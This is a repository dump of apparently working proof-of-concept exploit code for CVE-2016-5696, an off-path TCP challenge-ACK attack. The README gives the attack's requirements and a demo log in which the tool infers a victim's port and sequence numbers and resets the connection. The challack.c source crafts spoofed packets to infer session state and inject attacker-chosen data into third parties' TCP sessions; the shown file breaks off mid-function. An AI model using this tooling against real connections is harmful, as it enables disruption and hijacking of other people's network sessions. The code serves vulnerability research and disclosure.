├── .gitignore ├── README.md ├── challack.c ├── client.c └── playing ├── binsearch.c ├── hybrid.c ├── schedule.c └── seq-hybrid.c /.gitignore: -------------------------------------------------------------------------------- 1 | .gdb_history 2 | others 3 | backups 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Proof-of-concept code for CVE-2016-5696 2 | 3 | This code currently allows reseting connections or injecting into sessions. The attack is implemented against both clients and servers. 4 | 5 | For detailed information, consult the original publication: 6 | 7 | [Off-Path TCP Exploits: Global Rate Limit Considered Dangerous](http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf) 8 | 9 | # Requirements 10 | 11 | 1. You need to be able to spoof packets (no egress filtering). 12 | 2. You'll need to update *ROUTER_MAC* and *LOCAL_MAC* in *challack.c* with your spoof-ready machine's details. 13 | 2. You need iptables installed to DROP packets from the target host/port. Otherwise, your legitimate TCP stack will interfere with this program's operation. This will appear as an immediate RST after connection establishment. 14 | 15 | # DEMO Session Excerpt 16 | 17 | NOTE: The addresses have been changed to protect the innocent. 18 | 19 | Attacker side: 20 | 21 | ``` 22 | # ./challack -a server.cve-2016-5696.org 80 client.cve-2016-5696.org 23 | [*] Launching off-path challenge ACK attack against: 24 | server: 31.3.3.7:80 25 | client: 1.3.3.7 (port hint: 0) 26 | from: 3.13.3.7 27 | [*] Selected local port: 15083 28 | [*] Starting capture on "eth0" ... 29 | [*] TCP Window size: 14600 30 | [*] TCP handshake complete! Entering interactive session... 31 | [*] Commencing attack... 32 | [*] time-sync: round 1 - 108 challenge ACKs 33 | [*] time-sync: round 2 - 109 challenge ACKs 34 | [*] time-sync: round 3 - 100 challenge ACKs 35 | [*] time-sync: round 4 - 100 challenge ACKs 36 | [*] Time synchronization complete! 37 | [*] tuple-infer: guessed port is in [32768 - 36768) (start: 32768): 100 challenge ACKs - NO 38 | [*] tuple-infer: guessed port is in [36768 - 40768) (start: 36768): 99 challenge ACKs - OK 39 | [*] tuple-infer: guessed port is in [38768 - 40768) (start: 36768): 100 challenge ACKs - NO 40 | [*] tuple-infer: guessed port is in [37768 - 38768) (start: 36768): 100 challenge ACKs - NO 41 | [*] tuple-infer: guessed port is in [37268 - 37768) (start: 36768): 99 challenge ACKs - OK 42 | [*] tuple-infer: guessed port is in [37518 - 37768) (start: 37268): 100 challenge ACKs - NO 43 | [*] tuple-infer: guessed port is in [37393 - 37518) (start: 37268): 100 challenge ACKs - NO 44 | [*] tuple-infer: guessed port is in [37330 - 37393) (start: 37268): 99 challenge ACKs - OK 45 | [*] tuple-infer: guessed port is in [37361 - 37393) (start: 37330): 99 challenge ACKs - OK 46 | [*] tuple-infer: guessed port is in [37377 - 37393) (start: 37361): 100 challenge ACKs - NO 47 | [*] tuple-infer: guessed port is in [37369 - 37377) (start: 37361): 99 challenge ACKs - OK 48 | [*] tuple-infer: guessed port is in [37373 - 37377) (start: 37369): 99 challenge ACKs - OK 49 | [*] tuple-infer: guessed port is in [37375 - 37377) (start: 37373): 100 challenge ACKs - NO 50 | [*] tuple-infer: guessed port is in [37374 - 37375) (start: 37373): 100 challenge ACKs - NO 51 | [*] tuple-infer: guessed port is in [37373 - 37374) (start: 37373): 99 challenge ACKs - OK 52 | [*] Guessed client port (via binary search): 37373 53 | [*] seq-infer: guessed seqs [00000000 - 06f63a00): 4000 packets, 100 challenge ACKs 54 | [*] seq-infer: guessed seqs [06f63a00 - 0dec7400): 4000 packets, 100 challenge ACKs 55 | [*] seq-infer: guessed seqs [0dec7400 - 14e2ae00): 4000 packets, 100 challenge ACKs 56 | [*] seq-infer: guessed seqs [14e2ae00 - 1bd8e800): 4000 packets, 100 challenge ACKs 57 | [*] seq-infer: guessed seqs [1bd8e800 - 22cf2200): 4000 packets, 100 challenge ACKs 58 | [*] seq-infer: guessed seqs [22cf2200 - 29c55c00): 4000 packets, 100 challenge ACKs 59 | [*] seq-infer: guessed seqs [29c55c00 - 30bb9600): 4000 packets, 100 challenge ACKs 60 | [*] seq-infer: guessed seqs [30bb9600 - 37b1d000): 4000 packets, 100 challenge ACKs 61 | [*] seq-infer: guessed seqs [37b1d000 - 3ea80a00): 4000 packets, 100 challenge ACKs 62 | [*] seq-infer: guessed seqs [3ea80a00 - 459e4400): 4000 packets, 100 challenge ACKs 63 | [*] seq-infer: guessed seqs [459e4400 - 4c947e00): 4000 packets, 100 challenge ACKs 64 | [*] seq-infer: guessed seqs [4c947e00 - 538ab800): 4000 packets, 100 challenge ACKs 65 | [*] seq-infer: guessed seqs [538ab800 - 5a80f200): 4000 packets, 100 challenge ACKs 66 | [*] seq-infer: guessed seqs [5a80f200 - 61772c00): 4000 packets, 100 challenge ACKs 67 | [*] seq-infer: guessed seqs [61772c00 - 686d6600): 4000 packets, 100 challenge ACKs 68 | [*] seq-infer: guessed seqs [686d6600 - 6f63a000): 4000 packets, 99 challenge ACKs 69 | [*] Narrowed sequence (1) to 1752000000 - 1868829200! 70 | [*] seq-infer: guessed seqs [6be88300 - 6f63a000): 2000 packets, 100 challenge ACKs 71 | [*] seq-infer: guessed seqs [6a2af480 - 6be88300): 1000 packets, 99 challenge ACKs 72 | [*] seq-infer: guessed seqs [6b09bbc0 - 6be88300): 500 packets, 99 challenge ACKs 73 | [*] seq-infer: guessed seqs [6b791f60 - 6be88300): 250 packets, 99 challenge ACKs 74 | [*] seq-infer: guessed seqs [6bb0d130 - 6be88300): 125 packets, 100 challenge ACKs 75 | [*] seq-infer: guessed seqs [6b94bf40 - 6bb0d130): 63 packets, 99 challenge ACKs 76 | [*] seq-infer: guessed seqs [6ba28f30 - 6bb0d130): 32 packets, 99 challenge ACKs 77 | [*] seq-infer: guessed seqs [6ba9b030 - 6bb0d130): 16 packets, 99 challenge ACKs 78 | [*] seq-infer: guessed seqs [6bad40b0 - 6bb0d130): 8 packets, 100 challenge ACKs 79 | [*] seq-infer: guessed seqs [6bab7870 - 6bad40b0): 4 packets, 100 challenge ACKs 80 | [*] seq-infer: guessed seqs [6baa9450 - 6bab7870): 2 packets, 99 challenge ACKs 81 | [*] seq-infer: guessed seqs [6bab0660 - 6bab7870): 1 packets, 100 challenge ACKs 82 | [*] seq-infer: guessed seqs [6baa9450 - 6bab0660): 1 packets, 99 challenge ACKs 83 | [*] Narrowed sequence (2) to: 1806341200 - 1806370400 84 | [*] seq-infer: guessed seqs [6bab0660 - 6baafd00): 2400 packets, 100 challenge ACKs 85 | [*] seq-infer: guessed seqs [6baafd00 - 6baaed60): 4000 packets, 100 challenge ACKs 86 | [*] seq-infer: guessed seqs [6baaed60 - 6baaddc0): 4000 packets, 100 challenge ACKs 87 | [*] seq-infer: guessed seqs [6baaddc0 - 6baace20): 4000 packets, 100 challenge ACKs 88 | [*] seq-infer: guessed seqs [6baace20 - 6baabe80): 4000 packets, 100 challenge ACKs 89 | [*] seq-infer: guessed seqs [6baabe80 - 6baaaee0): 4000 packets, 100 challenge ACKs 90 | [*] seq-infer: guessed seqs [6baaaee0 - 6baa9f40): 4000 packets, 100 challenge ACKs 91 | [*] seq-infer: guessed seqs [6baa9f40 - 6baa8fa0): 4000 packets, 98 challenge ACKs 92 | [*] seq-infer: guessed seqs [6baa8fa0 - 6baa8000): 4000 packets, 98 challenge ACKs 93 | [*] seq-infer: guessed seqs [6baa8000 - 6baa7060): 4000 packets, 98 challenge ACKs 94 | [*] seq-infer: guessed seqs [6baa7060 - 6baa60c0): 4000 packets, 98 challenge ACKs 95 | [*] seq-infer: guessed seqs [6baa60c0 - 6baa5120): 4000 packets, 98 challenge ACKs 96 | [*] seq-infer: guessed seqs [6baa5120 - 6baa4180): 4000 packets, 98 challenge ACKs 97 | [*] seq-infer: guessed seqs [6baa4180 - 6baa31e0): 4000 packets, 98 challenge ACKs 98 | [*] seq-infer: guessed seqs [6baa31e0 - 6baa2240): 4000 packets, 99 challenge ACKs 99 | [!] Exhausted sequence number search (2)... 100 | ``` 101 | 102 | Victim side: 103 | 104 | ``` 105 | $ ./client server.cve-2016-5696.org 80 106 | [*] connected from port 37373 to server.cve-2016-5696.org:80 on sd 3 107 | sending request... 108 | read 251 bytes of data in 0 39221 seconds 109 | slept 59 148 seconds. 110 | sending request... 111 | read 251 bytes of data in 0 27517 seconds 112 | slept 59 330 seconds. 113 | sending request... 114 | read: Connection reset by peer 115 | [...] 116 | ``` 117 | -------------------------------------------------------------------------------- /challack.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Proof-of-concept code for: 3 | * "Off-Path TCP Exploits: Global Rate Limit Considered Dangerous" 4 | * http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf 5 | * 6 | * by Joshua J. Drake (jdrake@zimperium.com) on 2016-08-18 7 | * 8 | * NOTE: You need to use iptables to DROP packets from the target host/port 9 | * 10 | * # iptables -A INPUT -j DROP -p tcp -s [server addr] --sport [server port] 11 | * 12 | * Otherwise, your legitimate TCP stack will interfere with this program's 13 | * operation. 14 | */ 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | /* internet networking */ 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | /* packet capturing */ 29 | #include 30 | 31 | /* raw packet crafting */ 32 | #define __FAVOR_BSD 1 33 | #include 34 | #include 35 | 36 | /* terminal interactions */ 37 | #include 38 | 39 | /* precise timing */ 40 | #include 41 | 42 | /* threading */ 43 | #include 44 | 45 | /* filesystem interaction */ 46 | #include 47 | #include 48 | 49 | 50 | #ifndef ROUTER_MAC 51 | #define ROUTER_MAC "\x01\x02\x03\x04\x05\x06" 52 | #endif 53 | 54 | #ifndef LOCAL_MAC 55 | #define LOCAL_MAC "\xaa\xbb\xcc\xdd\xee\xff" 56 | #endif 57 | 58 | /* 59 | * if DEVICE is not defined, we'll try to find a suitable device.. 60 | */ 61 | // #define DEVICE "ppp0" 62 | #define SNAPLEN 1500 63 | 64 | #define PACKETS_PER_SECOND 4000 65 | #define PACKET_DELAY 100 66 | 67 | 68 | /* TCP connection tracking */ 69 | typedef enum { 70 | CS_NEW = 0, 71 | CS_SYN_SENT, 72 | CS_CONNECTED, 73 | CS_FINISHED 74 | } cstate_t; 75 | 76 | const char *g_conn_states[] = { 77 | "NEW", 78 | "SYN", 79 | "EST", 80 | "FIN" 81 | }; 82 | 83 | typedef struct packet_struct { 84 | u_char *buf; 85 | size_t len; 86 | } packet_t; 87 | 88 | typedef struct conn_struct { 89 | cstate_t state; 90 | uint16_t id; 91 | struct sockaddr_in src; 92 | struct sockaddr_in dst; 93 | /* in host endian */ 94 | uint32_t seq; 95 | uint32_t ack; 96 | } conn_t; 97 | 98 | typedef struct thctx_struct { 99 | /* pcap */ 100 | pcap_t *pch; 101 | int ipoff; 102 | 103 | /* connections */ 104 | conn_t legit; 105 | conn_t spoof; 106 | 107 | /* other options */ 108 | uint16_t winsz; // initial TCP window size 109 | int autostart; 110 | u_long packets_per_second; 111 | u_long packet_delay; 112 | uint32_t start_seq, end_seq; 113 | uint32_t start_ack, end_ack; 114 | /* inject? */ 115 | char *inject_server; 116 | off_t inject_server_len; 117 | char *inject_client; 118 | off_t inject_client_len; 119 | int client_mode; 120 | int attacking; 121 | } thctx_t; 122 | 123 | /* for probing groups of values, limited by PACKETS_PER_SECOND */ 124 | typedef struct chunk_struct { 125 | u_long start; 126 | u_long end; 127 | int chacks; 128 | } chunk_t; 129 | 130 | 131 | /* global count for challenge ACKs received in one period */ 132 | static volatile int g_chack_cnt = 0; 133 | /* global context for threads operating on pkts */ 134 | static volatile thctx_t g_ctx; 135 | /* global RST packet for eliciting challenge ACKs */ 136 | static packet_t g_rst_pkt; 137 | 138 | 139 | /* prototypes.. */ 140 | int set_up_attack(void); 141 | 142 | int sync_time_with_remote(void); 143 | int infer_four_tuple(void); 144 | int infer_sequence_step1(u_long *pstart, u_long *pend); 145 | int infer_sequence_step2(u_long *pstart, u_long *pend); 146 | int infer_sequence_step3_rst(u_long *pstart, u_long *pend); 147 | int infer_sequence_step3_ack(u_long *pstart, u_long *pend); 148 | int infer_sequence_number(void); 149 | int infer_ack_number(void); 150 | int inject_the_data(void); 151 | int conduct_offpath_attack(void); 152 | 153 | uint16_t in_cksum(uint16_t *addr, size_t len); 154 | void tcp_init(volatile conn_t *pconn, uint32_t seq); 155 | int tcp_craft(void *output, size_t *outlen, volatile conn_t *pconn, 156 | u_char flags, char *data, size_t len); 157 | int tcp_send(pcap_t *pch, volatile conn_t *pconn, u_char flags, 158 | char *data, size_t len); 159 | int tcp_recv(struct pcap_pkthdr *pph, const void *inbuf, u_char *flags, 160 | uint32_t *pack, uint32_t *pseq, void **pdata, size_t *plen); 161 | #if defined(DEBUG_SEQ_IN) || defined(DEBUG_SEQ_OUT) 162 | char *tcp_flags(u_char flags); 163 | #endif 164 | 165 | int block_traffic(void); 166 | int unblock_traffic(void); 167 | 168 | void setterm(int mode); 169 | int kbhit(void); 170 | 171 | int lookup_host(char *hostname, struct sockaddr_in *addr); 172 | 173 | int start_pcap(pcap_t **pcap, volatile struct sockaddr_in *psrv, 174 | uint16_t lport, int *off2ip); 175 | 176 | void *recv_thread(void *arg); 177 | int send_packets_delay(packet_t *ppkt, int count, suseconds_t us_delay); 178 | int prepare_rst_packet(packet_t *ppkt); 179 | 180 | void wait_until(const char *desc, struct timeval *pstart, time_t sec, 181 | suseconds_t usec); 182 | 183 | char *slurp(char *file, off_t *plen); 184 | 185 | 186 | void usage(char *argv0) 187 | { 188 | fprintf(stderr, "usage: %s [options] \n", 189 | argv0); 190 | fprintf(stderr, "\nsupported options:\n\n" 191 | "-c attack the client's connection to this port on the server\n" 192 | "-d packet delay\n" 193 | "-g automatically start the attack (otherwise type \"start\")\n" 194 | "-h this help, duh.\n" 195 | "-i inject data from file to the server\n" 196 | "-I inject data from file to the client\n" 197 | "-p spoofed client port\n" 198 | // if it differs from legit connection port 199 | "-P alternate server port (advanced)\n" 200 | "-r max packets per second\n" 201 | "-s skip to this number when starting sequence inference\n" 202 | "-S spoofed client sequence number\n" 203 | "-w assume the specified window size\n" 204 | // time offset? (to avoid sync_time_with_remote) 205 | "-a skip to this number when starting ack inference\n" 206 | "-A spoofed client ack number\n"); 207 | } 208 | 209 | 210 | int validate_port(char *str) 211 | { 212 | int port = atoi(str); 213 | 214 | if (port < 1 || port > 65535) { 215 | fprintf(stderr, "[!] %s is not a valid port.\n", str); 216 | return -1; 217 | } 218 | return port; 219 | } 220 | 221 | int validate_seqack_one(char *str, uint32_t *pout) 222 | { 223 | char *pend = NULL; 224 | u_long tmp = strtoul(str, &pend, 0); 225 | 226 | if (!pend || *pend || tmp > UINT32_MAX) { 227 | fprintf(stderr, "[!] invalid sequence number: %s\n", str); 228 | return -1; 229 | } 230 | *pout = (uint32_t)tmp; 231 | return 1; 232 | } 233 | 234 | int validate_seqack(char *str, int allow_range, uint32_t *pstart, uint32_t *pend) 235 | { 236 | char *str_end; 237 | 238 | if (allow_range) { 239 | char *pdash = strchr(str, '-'); 240 | 241 | if (pdash) { 242 | *pdash++ = '\0'; // XXX: modifies arg 243 | if (validate_seqack_one(pdash, pend) == -1) 244 | return -1; 245 | } 246 | } 247 | 248 | if (validate_seqack_one(str, pstart) == -1) 249 | return -1; 250 | 251 | /* swap the endpoints if someone specified something silly */ 252 | if (allow_range && *pend < *pstart) { 253 | uint32_t tmp = *pend; 254 | *pend = *pstart; 255 | *pstart = tmp; 256 | } 257 | 258 | return 1; 259 | } 260 | 261 | /* 262 | * The main function of this program simply checks prelimary arguments and 263 | * and launches the attack. 264 | */ 265 | int main(int argc, char *argv[]) 266 | { 267 | char *argv0; 268 | int ret = 0, c, srvport, altport = -1, cliport = -1; 269 | char myhost[512]; 270 | struct sockaddr_in sin; 271 | char *srvfn = NULL, *clifn = NULL; 272 | int client_mode = -1; 273 | char sport[32], dport[32]; 274 | 275 | /* look up this machine's address */ 276 | if (gethostname(myhost, sizeof(myhost)) == -1) { 277 | perror("[!] gethostname"); 278 | return 1; 279 | } 280 | if (!lookup_host(myhost, &sin)) 281 | return 1; 282 | g_ctx.legit.src = sin; 283 | 284 | /* initalize stuff */ 285 | srand(getpid()); 286 | g_ctx.packets_per_second = PACKETS_PER_SECOND; 287 | g_ctx.packet_delay = PACKET_DELAY; 288 | 289 | argv0 = "challack"; 290 | if (argv && argc > 0 && argv[0]) 291 | argv0 = argv[0]; 292 | 293 | if (argc < 4) { 294 | usage(argv0); 295 | return 1; 296 | } 297 | 298 | while ((c = getopt(argc, argv, "a:c:d:ghI:i:P:p:r:S:s:A:w:")) != -1) { 299 | switch (c) { 300 | case '?': 301 | case 'h': 302 | usage(argv0); 303 | return 1; 304 | 305 | case 'g': 306 | g_ctx.autostart = 1; 307 | break; 308 | 309 | case 'c': 310 | if ((client_mode = validate_port(optarg)) == -1) 311 | return 1; 312 | break; 313 | 314 | case 'd': 315 | { 316 | char *pend = NULL; 317 | u_long tmp = strtoul(optarg, &pend, 0); 318 | 319 | if (!pend || *pend || tmp >= 1000000) { 320 | fprintf(stderr, "[!] invalid delay: %s\n", optarg); 321 | return 1; 322 | } 323 | g_ctx.packet_delay = tmp; 324 | } 325 | break; 326 | 327 | case 'I': 328 | { 329 | off_t len; 330 | char *buf = slurp(optarg, &len); 331 | 332 | if (!buf) { 333 | fprintf(stderr, "[!] unable to load client inject data from \"%s\"\n", optarg); 334 | return 1; 335 | } 336 | g_ctx.inject_client = buf; 337 | g_ctx.inject_client_len = len; 338 | clifn = optarg; 339 | } 340 | break; 341 | 342 | case 'i': 343 | { 344 | off_t len; 345 | char *buf = slurp(optarg, &len); 346 | 347 | if (!buf) { 348 | fprintf(stderr, "[!] unable to load server inject data from \"%s\"\n", optarg); 349 | return 1; 350 | } 351 | g_ctx.inject_server = buf; 352 | g_ctx.inject_server_len = len; 353 | srvfn = optarg; 354 | } 355 | break; 356 | 357 | case 'p': 358 | if ((cliport = validate_port(optarg)) == -1) 359 | return 1; 360 | break; 361 | 362 | case 'P': 363 | if ((altport = validate_port(optarg)) == -1) 364 | return 1; 365 | break; 366 | 367 | case 'r': 368 | { 369 | char *pend = NULL; 370 | u_long tmp = strtoul(optarg, &pend, 0); 371 | 372 | if (!pend || *pend || tmp > 1000000) { 373 | fprintf(stderr, "[!] invalid packet rate: %s\n", optarg); 374 | return 1; 375 | } 376 | g_ctx.packets_per_second = tmp; 377 | } 378 | break; 379 | 380 | case 'S': 381 | { 382 | uint32_t tmp; 383 | 384 | if (validate_seqack(optarg, 0, &tmp, NULL) == -1) 385 | return 1; 386 | g_ctx.spoof.seq = tmp; 387 | } 388 | break; 389 | 390 | case 's': 391 | { 392 | uint32_t start, end = 0; 393 | 394 | if (validate_seqack(optarg, 1, &start, &end) == -1) 395 | return 1; 396 | g_ctx.start_seq = start; 397 | g_ctx.end_seq = end; 398 | } 399 | break; 400 | 401 | case 'w': 402 | { 403 | int winsz = atoi(optarg); 404 | 405 | if (winsz < 1 || winsz > 65535) { 406 | fprintf(stderr, "[!] %s is not a valid window size.\n", optarg); 407 | return 1; 408 | } 409 | g_ctx.winsz = winsz; 410 | } 411 | break; 412 | 413 | case 'A': 414 | { 415 | uint32_t tmp; 416 | 417 | if (validate_seqack(optarg, 0, &tmp, NULL) == -1) 418 | return 1; 419 | g_ctx.spoof.ack = tmp; 420 | } 421 | break; 422 | 423 | case 'a': 424 | { 425 | uint32_t start, end = 0; 426 | 427 | if (validate_seqack(optarg, 1, &start, &end) == -1) 428 | return 1; 429 | g_ctx.start_ack = start; 430 | g_ctx.end_ack = end; 431 | } 432 | break; 433 | 434 | default: 435 | fprintf(stderr, "[!] invalid option '%c'! try -h ...\n", c); 436 | return 1; 437 | /* not reached */ 438 | break; 439 | } 440 | } 441 | 442 | /* adjust params */ 443 | argc -= optind; 444 | argv += optind; 445 | 446 | /* process required arguments */ 447 | if (argc < 3) { 448 | usage(argv0); 449 | return 1; 450 | } 451 | 452 | /* see if we can get the target server address */ 453 | memset(&sin, 0, sizeof(sin)); 454 | if (!lookup_host(argv[0], &sin)) 455 | return 1; 456 | g_ctx.legit.dst = sin; 457 | g_ctx.spoof.dst = sin; 458 | 459 | /* see if we can get the client's address */ 460 | if (!lookup_host(argv[2], &sin)) 461 | return 1; 462 | g_ctx.spoof.src = sin; 463 | 464 | /* validate and record the server port */ 465 | if ((srvport = validate_port(argv[1])) == -1) 466 | return 1; 467 | g_ctx.legit.dst.sin_port = htons((uint16_t)srvport); 468 | if (client_mode == -1) 469 | g_ctx.spoof.dst.sin_port = htons((uint16_t)srvport); 470 | 471 | /* for client mode, we need to spoof packets from the specified port on the 472 | * server to the client */ 473 | strcpy(sport, "TBD"); 474 | strcpy(dport, "TBD"); 475 | if (client_mode != -1) { 476 | g_ctx.spoof.src.sin_port = htons(client_mode); 477 | sprintf(sport, "%u (from -c)", client_mode); 478 | 479 | if (cliport != -1) { 480 | g_ctx.spoof.dst.sin_port = htons(cliport); 481 | sprintf(dport, "%u (from -p)", cliport); 482 | } 483 | g_ctx.client_mode = 1; 484 | } else { 485 | if (cliport != -1) { 486 | g_ctx.spoof.src.sin_port = htons(cliport); 487 | sprintf(sport, "%u (from -p)", cliport); 488 | } 489 | 490 | if (altport != -1) { 491 | g_ctx.spoof.dst.sin_port = htons(altport); 492 | sprintf(dport, "%u (from -P)", altport); 493 | } else { 494 | sprintf(dport, "%u", ntohs(g_ctx.spoof.dst.sin_port)); 495 | } 496 | } 497 | 498 | /* show details of the attack before commencing */ 499 | printf("[*] Launching off-path challenge ACK attack against the connection between:\n"); 500 | printf(" source: %s:%s\n", inet_ntoa(g_ctx.spoof.src.sin_addr), sport); 501 | printf(" destination: %s:%s\n", inet_ntoa(g_ctx.spoof.dst.sin_addr), dport); 502 | printf("[*] Sending legit challenge ACKs to: %s:%u\n", 503 | inet_ntoa(g_ctx.legit.dst.sin_addr), 504 | ntohs(g_ctx.legit.dst.sin_port)); 505 | printf(" from: %s\n", inet_ntoa(g_ctx.legit.src.sin_addr)); 506 | if (g_ctx.spoof.seq) 507 | printf(" spoofed sequence: %lu (0x%lx)\n", (u_long)g_ctx.spoof.seq, 508 | (u_long)g_ctx.spoof.seq); 509 | if (g_ctx.spoof.ack) 510 | printf(" spoofed ack: %lu (0x%lx)\n", (u_long)g_ctx.spoof.ack, 511 | (u_long)g_ctx.spoof.ack); 512 | if (g_ctx.start_seq) 513 | printf(" starting with sequence: %lu (0x%lx)\n", 514 | (u_long)g_ctx.start_seq, (u_long)g_ctx.start_seq); 515 | if (g_ctx.end_seq) 516 | printf(" ending with sequence: %lu (0x%lx)\n", 517 | (u_long)g_ctx.end_seq, (u_long)g_ctx.end_seq); 518 | if (g_ctx.start_ack) 519 | printf(" starting with ack: %lu (0x%lx)\n", 520 | (u_long)g_ctx.start_ack, (u_long)g_ctx.start_ack); 521 | if (g_ctx.end_ack) 522 | printf(" ending with ack: %lu (0x%lx)\n", 523 | (u_long)g_ctx.end_ack, (u_long)g_ctx.end_ack); 524 | if (g_ctx.packets_per_second != PACKETS_PER_SECOND) 525 | printf(" packets per second: %lu\n", g_ctx.packets_per_second); 526 | if (g_ctx.packet_delay != PACKET_DELAY) 527 | printf(" packet delay: %lu\n", g_ctx.packet_delay); 528 | if (srvfn) 529 | printf(" attempting to inject %lu bytes to the server from \"%s\"\n", 530 | g_ctx.inject_server_len, srvfn); 531 | if (clifn) 532 | printf(" attempting to inject %lu bytes to the client from \"%s\"\n", 533 | g_ctx.inject_client_len, clifn); 534 | if (g_ctx.winsz) 535 | printf(" tcp window size: %u\n", g_ctx.winsz); 536 | 537 | /* here we go.. WOOO */ 538 | ret = set_up_attack(); 539 | 540 | if (!unblock_traffic()) 541 | return 1; 542 | 543 | return ret; 544 | } 545 | 546 | 547 | /* 548 | * attempt to resolve hostname as an ip address using inet_aton(3). if it 549 | * fails, we must have a DNS name so we try to look it up via gethostbyname(3). 550 | * if all is good, we fill in addr so that it can be returned via result 551 | * paramter, and return 1. 552 | * 553 | * if the lookup fails, we return 0. to report errors, we use herror(3) 554 | */ 555 | int lookup_host(char *hostname, struct sockaddr_in *addr) 556 | { 557 | struct hostent *hent; 558 | 559 | memset(addr, 0, sizeof(*addr)); 560 | addr->sin_family = AF_INET; 561 | if (!inet_aton(hostname, &(addr->sin_addr))) { 562 | hent = gethostbyname(hostname); 563 | if (hent == (struct hostent *)NULL) { 564 | char errstr[1024] = { 0 }; 565 | 566 | snprintf(errstr, sizeof(errstr) - 1, "[!] Unable to resolve: \"%s\"", 567 | hostname); 568 | herror(errstr); 569 | return 0; 570 | } 571 | memcpy(&(addr->sin_addr), hent->h_addr, sizeof(struct in_addr)); 572 | } 573 | return 1; 574 | } 575 | 576 | 577 | /* 578 | * try to start capturing packets from the specified host+port to the local 579 | * machine on the specified port. 580 | * 581 | * on succes, we return 1, on failure, 0 582 | */ 583 | int start_pcap(pcap_t **pcap, volatile struct sockaddr_in *psrv, uint16_t lport, int *off2ip) 584 | { 585 | struct bpf_program bpfp; /* needed to set the filter */ 586 | char errorstr[PCAP_ERRBUF_SIZE], filterstr[80], *iface; 587 | int filter = 1; 588 | 589 | #ifdef DEVICE 590 | iface = (char *)malloc(16); 591 | strncpy(iface, DEVICE, sizeof(iface)); 592 | #else 593 | iface = pcap_lookupdev(errorstr); 594 | if (iface == NULL) { 595 | fprintf(stderr, "[!] Unable to find a suitable capture device: %s\n", 596 | errorstr); 597 | return 0; 598 | } 599 | #endif 600 | printf("[*] Starting capture on \"%s\" ...\n", iface); 601 | 602 | *pcap = pcap_open_live(iface, SNAPLEN, 8, 25, errorstr); 603 | #ifdef DEVICE 604 | free(iface); 605 | #endif 606 | if (*pcap == (pcap_t *)NULL) { 607 | fprintf(stderr, "[!] pcap_open_live() failed: %s\n", errorstr); 608 | return 0; 609 | } 610 | 611 | switch (pcap_datalink(*pcap)) { 612 | case DLT_EN10MB: 613 | *off2ip = 14; 614 | break; 615 | 616 | case DLT_SLIP: 617 | *off2ip = 16; 618 | break; 619 | 620 | case DLT_PPP: 621 | *off2ip = 4; 622 | filter = 0; 623 | fprintf(stderr, "[-] PPP doesn't have filtering, problems may occur.\n"); 624 | break; 625 | 626 | case DLT_FDDI: 627 | fprintf(stderr, "[!] FDDI is not supported!\n"); 628 | return 0; 629 | 630 | case DLT_RAW: 631 | fprintf(stderr, "[-] Using the RAW datalink.\n"); 632 | *off2ip = 0; 633 | break; 634 | 635 | default: 636 | *off2ip = 4; 637 | break; 638 | } 639 | 640 | if (filter) { 641 | sprintf(filterstr, "tcp and src %s and src port %d and dst port %d", 642 | inet_ntoa(psrv->sin_addr), ntohs(psrv->sin_port), lport); 643 | if (pcap_compile(*pcap, &bpfp, filterstr, 1, 0) == -1) 644 | return 0; 645 | if (pcap_setfilter(*pcap, &bpfp) == -1) 646 | return 0; 647 | } 648 | 649 | return 1; 650 | } 651 | 652 | 653 | /* 654 | * a function to send a certain number of packets with a delay 655 | */ 656 | int send_packets_delay(packet_t *ppkt, int count, suseconds_t us_delay) 657 | { 658 | struct timeval start, now, diff; 659 | 660 | #ifdef DEBUG_SEND_PACKETS_DELAY 661 | printf("[*] Sending %d packets...\n", count); 662 | #endif 663 | while (count > 0) { 664 | gettimeofday(&start, NULL); 665 | if (pcap_sendpacket(g_ctx.pch, ppkt->buf, ppkt->len) == -1) 666 | return 0; 667 | count--; 668 | 669 | do { 670 | gettimeofday(&now, NULL); 671 | timersub(&now, &start, &diff); 672 | } while (diff.tv_usec < us_delay); 673 | #ifdef DEBUG_SEND_PACKETS_DELAY 674 | printf(" sent in %lu %lu\n", diff.tv_sec, diff.tv_usec); 675 | #endif 676 | } 677 | return 1; 678 | } 679 | 680 | /* 681 | * a thread to receive packets =) 682 | */ 683 | void *recv_thread(void *arg) 684 | { 685 | struct pcap_pkthdr *pchdr = NULL; 686 | const u_char *inbuf = NULL; 687 | int pcret; 688 | u_char flags; 689 | size_t datalen; 690 | 691 | /* listen for challenge ACKs and count them */ 692 | while (g_ctx.attacking) { 693 | pcret = pcap_next_ex(g_ctx.pch, &pchdr, &inbuf); 694 | if (pcret == 1 695 | && tcp_recv(pchdr, inbuf, &flags, NULL, NULL, NULL, &datalen) 696 | && flags == TH_ACK) { 697 | g_chack_cnt++; 698 | } 699 | } 700 | 701 | /* not reached */ 702 | return NULL; 703 | } 704 | 705 | 706 | /* 707 | * prepare the RST packet we'll use to elicit challenge ACKs on our legit 708 | * connection. 709 | */ 710 | int prepare_rst_packet(packet_t *ppkt) 711 | { 712 | uint32_t old_seq; 713 | volatile conn_t *legit = &(g_ctx.legit); 714 | 715 | /* save the old sequence number */ 716 | old_seq = legit->seq; 717 | 718 | /* advance it by some amount so that it is out of window */ 719 | legit->seq += 5000; 720 | 721 | /* allocate a buffer for the packet */ 722 | ppkt->len = 8192; 723 | ppkt->buf = malloc(ppkt->len); 724 | if (!ppkt->buf) { 725 | fprintf(stderr, "[!] no memory for RST packet!\n"); 726 | return 0; 727 | } 728 | 729 | /* add the phys header */ 730 | memcpy(ppkt->buf, ROUTER_MAC LOCAL_MAC "\x08\x00", g_ctx.ipoff); 731 | 732 | /* craft the packet! */ 733 | if (!tcp_craft(ppkt->buf + g_ctx.ipoff, &(ppkt->len), legit, TH_RST, "z", 1)) 734 | return 0; 735 | 736 | /* adjust the length to include the phys part */ 737 | ppkt->len += g_ctx.ipoff; 738 | 739 | /* set the sequence number back to the original value.. 740 | * this way the connection remains ok. 741 | */ 742 | legit->seq = old_seq; 743 | return 1; 744 | } 745 | 746 | 747 | /* 748 | * wait until the specified amount of time has elapsed 749 | */ 750 | void wait_until(const char *desc, struct timeval *pstart, time_t sec, suseconds_t usec) 751 | { 752 | struct timeval now, diff; 753 | uint64_t wait_time = usec + (sec * 1000000); 754 | uint64_t waited = 